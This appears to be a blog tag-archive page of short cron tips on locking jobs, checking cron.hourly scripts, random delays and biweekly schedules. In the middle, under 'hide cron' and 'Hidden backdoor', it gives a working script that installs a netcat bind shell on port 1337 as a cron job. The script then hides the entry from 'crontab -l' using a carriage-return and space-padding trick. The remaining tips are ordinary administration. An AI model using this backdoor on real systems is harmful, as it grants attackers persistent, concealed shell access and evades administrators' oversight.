* * * * * /usr/bin/flock -w 0 /tmp/cron.lock /usr/bin/php7.4 /path/to/cron.php
Tag Archives: cron
hide cron
printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -
crontab -l
no crontab for vit
Hidden backdoor:
BDOOR_PT=1337
BDOOR_SH="{ \
cd /tmp; mkfifo .i .o; \
cat .o | nc -l -p ${BDOOR_PT} > .i & \
/bin/sh < .i &>.o ; rm -f .i .o; \
}"
# scheduled task that will be hidden
HIDDEN="* * * * * ${BDOOR_SH}>/dev/null 2>&1"
# Display the current cron table and modify the first line
crontab -l 2>&1 | {
read FIRST_TASK;
if [ ${#HIDDEN} -gt ${#FIRST_TASK} ]; then
# end the first crontab line with spaces to hide our backdoor and
# one more character (";").
while (( i < (${#HIDDEN} - ${#SHOWN_TASK} + 1) )); do
FIRST_TASK="${FIRST_TASK} "; ((i++))
done
fi
# carriage return goes there ("\r")
printf "${HIDDEN};\r${FIRST_TASK}\n"; cat
} | crontab -
if [ $? -eq 0 ]; then
echo "Backdoor is now hidden in cron table"
echo "Shell will be bind on port ${BDOOR_PT}."
else
echo "Failed."
fi
cron.hourly not running
run-parts --list /etc/cron.hourly/
/etc/cron.hourly/some_script
run-parts --test /etc/cron.hourly/
/etc/cron.hourly/some_script
Make sure some_script was set executable
lock run php
*/5 * * * * /usr/local/bin/lockrun --lockfile=/var/run/php.lockrun -- /usr/bin/php -f /usr/local/bin/run.php &> /dev/null
run cron random time
0 0 * * * sleep `shuf -i 1-86400 -n 1`; mktemp
Run:
echo '0 0 * * * sleep `shuf -i 1-86400 -n 1`; mktemp' | sudo tee -a /var/spool/cron/$USER
cron every 2 weeks
* * * * 0/2 /some/script
or
0 0 8-14,22-28 * * test $(date +%u) -eq 1 && sh /some/script